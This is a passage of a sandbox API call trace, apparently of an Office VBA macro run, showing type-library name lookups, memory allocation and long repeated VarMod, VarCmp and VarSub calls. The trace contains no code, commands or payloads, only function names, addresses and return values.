LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_flageolet") returned 0x30459c [0018.235] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.235] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="fandango") returned 0x109bb1 [0018.235] strcpy_s (in: _Dst=0x2637a0, _DstSize=0x9, _Src="fandango" | out: _Dst="fandango") returned 0x0 [0018.235] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2637a0, cbMultiByte=9, lpWideCharStr=0x263600, cchWideChar=9 | out: lpWideCharStr="fandango") returned 9 [0018.235] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.235] ITypeLib:RemoteIsName (in: This=0x72d9b00, szNameBuf="fandango", lHashVal=0x109bb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.235] IUnknown:AddRef (This=0x6f64030) returned 0x14 [0018.235] ITypeLib:RemoteIsName (in: This=0x6f64030, szNameBuf="fandango", lHashVal=0x109bb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x6f64030) returned 0x13 [0018.235] IUnknown:AddRef (This=0x72d9dd0) returned 0xd [0018.235] ITypeLib:RemoteIsName (in: This=0x72d9dd0, szNameBuf="fandango", lHashVal=0x109bb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x72d9dd0) returned 0xc [0018.235] IUnknown:AddRef (This=0x7479720) returned 0x6 [0018.235] ITypeLib:RemoteIsName (in: This=0x7479720, szNameBuf="fandango", lHashVal=0x109bb1, pfName=0x263758, pBstrLibName=0x263600 | out: pfName=0x263758*=0, pBstrLibName=0x263600) returned 0x0 [0018.235] IUnknown:Release (This=0x7479720) returned 0x5 [0018.235] LHashValOfNameSysA (syskind=0x3, lcid=0x419, szName="_B_var_fandango") returned 0x30733a [0018.236] IUnknown:AddRef (This=0x72d9b00) returned 0x15 [0018.236] IUnknown:Release (This=0x72d9b00) returned 0x14 [0018.236] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xbf60000 [0018.237] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xd070000 [0018.239] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.239] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.239] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.239] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x2cd) returned 0x7fef41994dc [0018.239] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.239] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0018.239] SetErrorMode (uMode=0x8001) returned 0x8001 [0018.240] GetProcAddress (hModule=0x7fef3f10000, lpProcName=0x251) returned 0x7fef4157298 [0018.240] VirtualFree (lpAddress=0x8300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0018.241] SafeArrayAllocData (psa=0x7461e10) returned 0x0 [0018.241] SafeArrayAllocData (psa=0x7461de0) returned 0x0 [0018.241] SafeArrayAllocData (psa=0x7461e88) returned 0x0 [0018.241] SafeArrayAllocData (psa=0x7461ec0) returned 0x0 [0018.242] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x264700, cchData=6 | out: lpLCData="1252") returned 5 [0018.242] atoi (_Str="1252") returned 1252 [0018.242] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x264750 | out: ppsaOut=0x264750) returned 0x0 [0018.242] SafeArrayAllocData (psa=0x7320930) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.242] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.242] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.242] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.242] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.242] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.242] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.242] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.242] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.242] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.243] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.243] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.243] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.244] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.244] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.244] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.245] VarSub (in: pvarLeft=0x7461ee8, pvarRight=0x7461b68, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarMod (in: pvarLeft=0x7461b50, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461bb8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.245] VarSub (in: pvarLeft=0x7461b68, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.245] VarSub (in: pvarLeft=0x7461bb8, pvarRight=0x7461c28, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.245] VarMod (in: 